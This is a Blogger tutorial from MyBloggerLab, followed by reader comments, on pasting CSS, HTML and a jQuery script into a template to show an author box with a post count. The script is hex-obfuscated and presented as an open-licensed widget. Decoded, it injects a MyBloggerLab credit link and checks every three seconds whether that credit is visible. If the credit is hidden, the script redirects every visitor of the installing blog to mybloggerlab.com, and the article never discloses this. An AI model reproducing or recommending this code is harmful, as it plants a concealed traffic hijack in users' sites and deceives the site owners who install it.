How to Add Author info Box with Post count in Blogger Posts

Advertisements
Author info Box For Blogger
How many people desire to add an author information box to their websites that usually appears at the end of their posts? WordPress has lots of plugins for author box that does the job pretty handsomely. There are also many author gadgets available for Blogger, but they are neither for multiple authors nor do they support post counts. Since, our previous author box was out-of-date. Therefore, we thought to create a robust author information box that could fulfill all the needs of a website. We have used a jQuery file that fetches your pictures and further information from the Blogger Profile. Therefore, today in this article, we will learn How to Add Author info Box with Post count in Blogger.

Author info Box




How To Install Author Info Box in Blogger Posts?

The steps are straightforward for those who know a little about basic HTML because during the tutorial we would also show you how this widget would fetch the Images from the Blogger’s profile. Consider the following instructions.

Step#1: Go To Blogger.com >> Template >> Edit HTML >> Proceed. Before, we move ahead it is essential to expand the Widget Box. On the top left corner of your screen, there would be a Small Check box just select (Tick) it and proceed to the next step.
Expand Widget Template
Step#2: Now within the template’s coding search for the ]]></b:skin> tag and just above it paste the following CSS coding. Since, everyone likes to customize the gadget according to their color Scheme. Therefore, to do modifications consider the following options.
  • For Background Color: Replace #222222.
  • For Font Color: Replace white.
/********************************
/////////////////////////////////////////////////////////
//                                                     //
//  //  Designer: Syed Faizan Ali //
//  All rights are Strictly Reserved  //
//                                                     //
/////////////////////////////////////////////////////////
********************************/
#mblrib {
width: 111px;
height: 111px;
margin-left:-15px;
margin-top:-15px;
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjozphDNGsTkzNY0QknDB5rSSuWc9n1Hb7P9cXPA6K6yeomgCoxqjxJCAsbyylDxWwZYuvmlPL6HDq30_e31gPvuqijr8rUB15geyD8NQAXInAFSzYCdJfrJB_aiUkEm7gte9_5dOd6HH0/s1600/1rib.png) no-repeat;
z-index: 7;
position:absolute;
}

.mblautbox {border: #4f5966 solid 3px; width:610px;}

.authorinfoname { text-decoration:underline;}
.mblautbox a:hover {
color: #afafaf;
text-decoration: underline;
outline: none;
}

.mblautbox a {
color: #afafaf;
text-decoration: none;
outline: none;
}

.mblautinfo {
border: #f5f5f5 solid 5px;
-moz-border-radius: 74px;
-webkit-border-radius: 74px;
border-radius: 74px;
margin-right:20px;
box-shadow: 0 1px 4px rgba(0, 0, 0, 0.2);
float:left; padding:4px;margin-left: 0px;height:100px;
}

.mblautobox {
font-size:20px;
 margin-top:-20px;
}

.mblautbox{
background:#222222;
line-height:1.7em;
float:center;
padding:10px 10px 10px 10px;
margin:0 0 5px 5px;
color:white;
font-family: 'Open Sans', Helvetica, Arial, sans-serif;
font-size: 14px;
line-height: 24px;
}

.mblautbox-right-min{
border-left:solid 0px #e8e8e8;
height:auto
}

#mycontents {
position:absolute;
width: 111px;
height: 111px;
margin-left:565px;
 margin-top:-5px;
}

Step#3: Now once again within the template search for <div class='post-footer'> tag and just above it paste the following JavaScript + HTML coding. Almost all templates have the Post footer tag, so this tutorial universally applies to each and every blogger template.
<div class='post-footer'>

<b:if cond='data:blog.pageType == &quot;item&quot;'>

<script type="text/javascript">
//<![CDATA[
var aut_desc = {};
var auth_url = {};
var multiAuthor = true;
var onePost = "article";
var manyPosts = "articles";
aut_desc['Syed Faizan Ali'] = 'Information_Here<a href="Profile_Url">Read More</a><br/><b>Join me on:</b> &nbsp;<a href="http://www.facebook.com/mybloggerlab">Facebook</a>&nbsp;|&nbsp;&nbsp;<a href="https://twitter.com/#!/mybloggerlab">Twitter</a>&nbsp;|&nbsp;<a href="https://plus.google.com/106374439082237286396">Google+</a>&nbsp;|&nbsp;<a href="http://pinterest.com/fosterzone">Pinterest</a>.';
//]]>
</script>

<br />
<div class="mblautbox">
  <div id="mblrib"></div>
      <div id="mycontents"></div>
           <a class="authorinfolink" href="Profile_Url">
           <img border="1" class="mblautinfo" src="" />
           </a><br /><div>

<div class="mblautobox">
  <b>Posted by: </b>
  <span class="authorinfoname"></span></div>
  <div class="authorinfodescription">
  </div></div><div>
  
<span class="authorinfoname">
</span> has written <b><i><span class="authorinfopostcount">0</span></i></b> awesome <span class="authorinfopostpost">articles</span> for <a href="http://www.mybloggerlab.com/">MyBloggerLab</a>.</div>
<div style="clear: both;"></div></div>


<script type="text/javascript">
//<![CDATA[
//Author Box.JS
/*
 * Author Box v1 - jQuery 
 * Copyright (c) 2013 MyBloggerLab
 *
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 *
 */
 var _0x11b9=["","\x6C\x65\x6E\x67\x74\x68","\x65\x6E\x74\x72\x79","\x66\x65\x65\x64","\x24\x74","\x6E\x61\x6D\x65","\x61\x75\x74\x68\x6F\x72","\x63\x6F\x75\x6E\x74","\x3C\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x2F\x66\x65\x65\x64\x73\x2F\x70\x6F\x73\x74\x73\x2F\x64\x65\x66\x61\x75\x6C\x74\x3F\x72\x65\x64\x69\x72\x65\x63\x74\x3D\x66\x61\x6C\x73\x65\x26\x6D\x61\x78\x2D\x72\x65\x73\x75\x6C\x74\x73\x3D\x35\x30\x30\x26\x73\x74\x61\x72\x74\x2D\x69\x6E\x64\x65\x78\x3D","\x26\x61\x6C\x74\x3D\x6A\x73\x6F\x6E\x2D\x69\x6E\x2D\x73\x63\x72\x69\x70\x74\x26\x63\x61\x6C\x6C\x62\x61\x63\x6B\x3D\x67\x65\x74\x41\x75\x74\x68\x6F\x72\x49\x6E\x66\x6F\x22\x3E\x3C\x2F","\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65","\x6F\x70\x65\x6E\x53\x65\x61\x72\x63\x68\x24\x74\x6F\x74\x61\x6C\x52\x65\x73\x75\x6C\x74\x73","\x68\x74\x6D\x6C","\x2E\x61\x75\x74\x68\x6F\x72\x69\x6E\x66\x6F\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E","\x74\x65\x78\x74","\x2E\x61\x75\x74\x68\x6F\x72\x69\x6E\x66\x6F\x70\x6F\x73\x74\x63\x6F\x75\x6E\x74","\x67\x64\x24\x69\x6D\x61\x67\x65","\x73\x72\x63","\x61\x74\x74\x72","\x2E\x6D\x62\x6C\x61\x75\x74\x69\x6E\x66\x6F","\x74\x69\x74\x6C\x65","\x2E\x61\x75\x74\x68\x6F\x72\x69\x6E\x66\x6F\x6C\x69\x6E\x6B","\x2E\x61\x75\x74\x68\x6F\x72\x69\x6E\x66\x6F\x6E\x61\x6D\x65","\x2E\x61\x75\x74\x68\x6F\x72\x69\x6E\x66\x6F\x70\x6F\x73\x74\x70\x6F\x73\x74","\x75\x72\x69","\x68\x72\x65\x66","\x73\x68\x6F\x77","\x2E\x70\x6F\x73\x74\x2D\x61\x75\x74\x68\x6F\x72\x2D\x62\x6C\x6F\x63\x6B","\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x6D\x79\x62\x6C\x6F\x67\x67\x65\x72\x6C\x61\x62\x2E\x63\x6F\x6D\x22\x3E\x3C\x69\x6D\x67\x20\x61\x6C\x74\x3D\x22\x43\x6F\x70\x79\x72\x69\x67\x68\x74\x73\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6C\x68\x33\x2E\x67\x6F\x6F\x67\x6C\x65\x75\x73\x65\x72\x63\x6F\x6E\x74\x65\x6E\x74\x2E\x63\x6F\x6D\x2F\x2D\x4A\x76\x58\x35\x6A\x34\x61\x6A\x74\x72\x38\x2F\x55\x51\x61\x69\x65\x32\x4C\x39\x5A\x6B\x49\x2F\x41\x41\x41\x41\x41\x41\x41\x41\x4D\x76\x49\x2F\x6E\x61\x79\x4E\x75\x58\x37\x75\x69\x64\x6F\x2F\x68\x31\x32\x30\x2F\x42\x4C\x4F\x47\x4F\x2E\x70\x6E\x67\x22\x20\x74\x69\x74\x6C\x65\x3D\x22\x41\x75\x74\x68\x6F\x72\x20\x42\x6F\x78\x20\x50\x6F\x77\x65\x72\x65\x64\x20\x42\x79\x20\x4D\x79\x42\x6C\x6F\x67\x67\x65\x72\x4C\x61\x62\x2E\x63\x6F\x6D\x22\x20\x2F\x3E\x3C\x2F\x61\x3E","\x23\x6D\x79\x63\x6F\x6E\x74\x65\x6E\x74\x73","\x23\x6D\x79\x63\x6F\x6E\x74\x65\x6E\x74\x73\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x6D\x79\x62\x6C\x6F\x67\x67\x65\x72\x6C\x61\x62\x2E\x63\x6F\x6D"];var authors={};var ndxbase=1;var auname=_0x11b9[0];function getAuthorInfo(_0xbe75x5){var _0xbe75x6=_0x11b9[0];for(var _0xbe75x7=0;_0xbe75x7<_0xbe75x5[_0x11b9[3]][_0x11b9[2]][_0x11b9[1]];_0xbe75x7++){var _0xbe75x8=_0xbe75x5[_0x11b9[3]][_0x11b9[2]][_0xbe75x7];_0xbe75x6=_0xbe75x8[_0x11b9[6]][0][_0x11b9[5]][_0x11b9[4]];if(authors[_0xbe75x6]){authors[_0xbe75x6][_0x11b9[7]]++;} else {var _0xbe75x9= new Object();_0xbe75x9[_0x11b9[6]]=_0xbe75x8[_0x11b9[6]][0];_0xbe75x9[_0x11b9[7]]=1;authors[_0xbe75x6]=_0xbe75x9;} ;if(!multiAuthor){break ;} ;} ;if(multiAuthor&&_0xbe75x5[_0x11b9[3]][_0x11b9[2]][_0x11b9[1]]==500){ndxbase+=500;document[_0x11b9[14]](_0x11b9[8]+window[_0x11b9[10]][_0x11b9[9]]+_0x11b9[11]+ndxbase+_0x11b9[12]+_0x11b9[13]);return ;} ;if(!multiAuthor){authors[_0xbe75x6][_0x11b9[7]]=_0xbe75x5[_0x11b9[3]][_0x11b9[15]][_0x11b9[4]];} ;au=auname;if(authors[au]){if(aut_desc[au]&&aut_desc[au]!=_0x11b9[0]){$(_0x11b9[17])[_0x11b9[16]](aut_desc[au]);} ;$(_0x11b9[19])[_0x11b9[18]](authors[au][_0x11b9[7]]);if(authors[au][_0x11b9[6]][_0x11b9[20]]){$(_0x11b9[23])[_0x11b9[22]](_0x11b9[21],authors[au][_0x11b9[6]][_0x11b9[20]][_0x11b9[21]]);} ;$(_0x11b9[23])[_0x11b9[22]](_0x11b9[24],au);$(_0x11b9[25])[_0x11b9[22]](_0x11b9[24],au);$(_0x11b9[26])[_0x11b9[18]](au);$(_0x11b9[27])[_0x11b9[18]](parseInt(authors[au][_0x11b9[7]])==1?onePost:manyPosts);if(authors[au][_0x11b9[6]][_0x11b9[28]]&&authors[au][_0x11b9[6]][_0x11b9[28]][_0x11b9[4]]!=_0x11b9[0]){$(_0x11b9[25])[_0x11b9[22]](_0x11b9[29],authors[au][_0x11b9[6]][_0x11b9[28]].$t);} ;if(auth_url[au]&&auth_url[au]!=_0x11b9[0]){$(_0x11b9[25])[_0x11b9[22]](_0x11b9[29],auth_url[au]);} ;$(_0x11b9[31])[_0x11b9[30]]();} ;} ;$(_0x11b9[33])[_0x11b9[16]](_0x11b9[32]);setInterval(function (){if(!$(_0x11b9[34])[_0x11b9[1]]){window[_0x11b9[10]][_0x11b9[29]]=_0x11b9[35];} ;} ,3000);
//]]>
</script>

<script type="text/javascript">
//<![CDATA[
auname = "Syed Faizan Ali";
document.write('<script type="text/javascript" src="http://'+window.location.hostname+'/feeds/posts/default?redirect=false&max-results=500&alt=json-in-script&callback=getAuthorInfo"></'+'script>');
//]]>
</script>

</b:if>

Customization:
  • Replace Syed Faizan Ali with your Blogger display name. Remember: The name should be written as it is shown on Blogger Profile. Remember: The  name which are adding, should be in the list of authors of the blog.
  • Replace Information_Here with the small biography of the person who has written the article. Make sure it should not exceed more than 15 to 20 words.
  • Replace Profile_Url with the profile URL of your blogger's Profile. Remember: Its not must that a person should add the URL because the whole data is fetch through the username.
All Done: Now after customizing the gadget it’s time to save the Template by pressing orange “Save Template “button present at the bottom of your screen. That is it, now visit post pages of your site and at the end of each and every article it would display an incredible "Mr.Editor Box.

From the Editor's Desk:

To be honest, this gadget is one of the greatest inventions of our Developer team. The most prominent feature of this gadget is post count that updates on automation. We are working on more widgets that work on automation. Some more marvelous widgets are scheduled so keep your fingers crossed. What are your thoughts about the author box? Point out the things that need an improvement. Take a lot care of yourselves till then, Peace, Blessings and Happy integrating.
Advertisements

The Editorial Team of MyBloggerLab consists of a group of Professional Blogger geeks Led by Syed Faizan Ali (Founder of MyBloggerLab).

Comment With:
OR
Choose Wisely!

36 comments

January 28, 2013 at 12:22 PM

Great.Thanks for all your freebies

January 28, 2013 at 1:56 PM

Great.. Good work bro...

January 28, 2013 at 6:53 PM

great work ali bro, you are doing very good.

www.pokharatech.com

January 28, 2013 at 7:24 PM

Great ! thank you !

January 29, 2013 at 12:46 AM

is it miltiple author box? Will it work with any author? I mean, if someone posts on my site, then would it automatically show?

Editorial Team MOD
January 29, 2013 at 6:06 AM

Yes, You have to add Scripts for all the authors. And with the Help of b:if conditions you can show the author box only in the specific posts. Hope that helps.

Editorial Team MOD
January 29, 2013 at 6:15 AM

Its our Pleasure you liked it

January 29, 2013 at 6:43 AM

Thanks. But I am a bit confused, how do I add author box for multiple authors?

January 30, 2013 at 5:44 AM

Another interesting trick.... good job

February 16, 2013 at 8:58 PM

Is it counting post automatically or need to put post count number manually? Whic profile url need to use blogger or G+?

Editorial Team MOD
February 17, 2013 at 12:02 AM

No there is no need to update post counts manually. It updates them on automation. i am talking about blogger profile.

March 6, 2013 at 12:31 PM

Hi thanks for this wonderful widget, i have guest author and i want to add same author box for him also, please help. Thanks

RK
March 30, 2013 at 8:02 PM

This is awesome. But what if I wish to get multiple author profiles. I mean, If a person has more than 3 moderators on his site and how can we get separate author bios for all the authors on their respective posts?

Editorial Team MOD
March 31, 2013 at 9:16 AM

Yeah that is possible if you use b:if author conditions

April 6, 2013 at 8:47 PM

can you show to me about the b:if author conditions ?

Editorial Team MOD
April 7, 2013 at 10:08 AM

Here you Go

<b:if cond='data:comment.author == data:post.author'>
Your Content Here
</b:if>

April 23, 2013 at 4:09 AM

I do not work: (

Editorial Team MOD
April 23, 2013 at 6:52 AM

What error you are facing?

April 23, 2013 at 8:03 AM

I dont know, i follow all step :( check:

http://focobloggerpruebas.blogspot.com/2013/04/social-content-locker.html

neither the author nor the information of blocked content widget work for me :(

Excuse me for my bad english please.

Editorial Team MOD
April 23, 2013 at 10:35 AM

I Guess this doesn't works on Default blogger templates.

April 23, 2013 at 10:52 AM

but I'm implementing in this blog, but there will only place the test, I'm trying to implement here: http://www.focoblogger.com/

Editorial Team MOD
April 23, 2013 at 10:56 AM

I Didn't find the code on your site.

April 23, 2013 at 11:39 AM

check now dude

Editorial Team MOD
April 23, 2013 at 12:32 PM

I can only SEE CSS on your site. Please apply the full tutorial .

April 28, 2013 at 12:47 AM

what to do if i have Many Authors??

Editorial Team MOD
April 28, 2013 at 6:24 AM

Repeat the Process for every author. Use b;if author Tag

June 13, 2013 at 11:37 AM

what to do if i have Many Authors??

June 24, 2013 at 10:05 PM

thanks for your post..

June 28, 2013 at 12:39 PM

I didn't work on my block. Nothing happened after applying all codes :(

August 9, 2013 at 11:23 PM

how to change the width of the box?

Editorial Team MOD
August 12, 2013 at 11:16 PM

.mblautbox {
width: 500px;
}

August 2, 2014 at 8:44 AM

There is no option in blogger to expand widgets what to do now??

Editorial Team MOD
August 2, 2014 at 9:44 AM

There is no need to use this option as it is removed. Just search directly.

January 24, 2015 at 4:38 AM

A suggestion would be to make this Author Box for a blog where there are more than 1 author who writes articles on the blog.
For that purpose, the code needs to be more dynamic, it needs to come up with which author has posted the Article, pickup his Google Plus URL, get few lines about that author from Google Plus. This will make the Widget a perfect one. Some might even pay for that kind of Widget

March 6, 2016 at 6:07 AM

Hi Faizan Bhai I follow all steps but in my blogs it does not showing author box plz help me.

May 13, 2016 at 10:13 PM

if i dont want to add read more than what should i do...
Sorry for bad english
I dont want to add read more....which code should i delete......

Post a Comment

We’re eager to see your comment. However, Please Keep in mind that all comments are moderated manually by our human reviewers according to our comment policy, and all the links are nofollow. Using Keywords in the name field area is forbidden. Let’s enjoy a personal and evocative conversation.

Helping You to do Cool Things With Blogger Since 2012™.

© Copyright 2012 - 2018. MBL Networks, All Rights are Strictly Reserved.